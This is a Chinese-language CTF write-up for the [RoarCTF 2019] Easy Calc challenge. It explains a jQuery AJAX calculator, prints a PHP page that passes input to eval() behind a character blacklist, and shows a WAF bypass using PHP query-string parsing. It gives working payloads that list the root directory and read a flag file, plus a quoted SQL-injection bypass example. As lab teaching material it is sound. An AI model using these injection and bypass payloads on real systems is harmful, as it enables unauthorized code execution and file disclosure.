自用
源代码
javascript
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
代码解释
代码语言涉及: jQuery,AJAX
表单提交事件绑定
javascript
$('#calc').submit(function(){
// ...
return false;
});
- $('#calc'):使用 jQuery 选择器选中 ID 为
calc
的表单元素。 .submit()
:为表单元素绑定提交事件,当表单提交时会触发传入的回调函数。return false;
:阻止表单的默认提交行为,防止页面刷新。
AJAX 请求
javascript
$.ajax({
url: "calc.php?num=" + encodeURIComponent($("#content").val()),
type: 'GET',
success: function(data) {
// ...
},
error: function() {
// ...
}
});
- $.ajax():jQuery 提供的用于发起 AJAX 请求的函数,接受一个配置对象作为参数。
url
:请求的 URL,这里将 ID 为content
的输入框中的值进行编码后作为num
参数添加到calc.php
的 URL 后面。encodeURIComponent()
函数用于对特殊字符进行编码,确保参数传递的正确性。type
:请求的类型,这里使用GET
请求。success
:请求成功时的回调函数,data
参数表示服务器返回的数据。error
:请求失败时的回调函数。
成功回调函数
javascript
success: function(data) {
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
}
$("#result")
:使用 jQuery 选择器选中 ID 为result
的元素。.html()
:将指定的 HTML 内容插入到选中元素中。这里使用了模板字符串(ES6 特性)将服务器返回的结果data
插入到一个带有alert alert-success
类的div
元素中
错误回调函数
javascript
error: function() {
alert("这啥?算不来!");
}
做法
看见源代码中有calc.php,访问得到源码
php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
用system()或者exec()执行?
不行--在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了
我们知道PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
显示用var_dump()或print_r()
,当前目录用scandir()
,屏蔽/
可用chr(47)代替
,查看文件用file_get_content()
或highlight_file()
javascript
http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(scandir(chr(47)))
发现f1agg文件
查看文件用file_get_content()或者highlight_file()
javascript
http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(file_get_contents(chr(47).f1agg))
参考文章:[RoarCTF 2019]Easy Calc_[roarctf 2019]easy calc 1-CSDN博客
利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户
【BUUCTF】[RoarCTF 2019]Easy Calc1_[roarctf 2019]easy calc 1-CSDN博客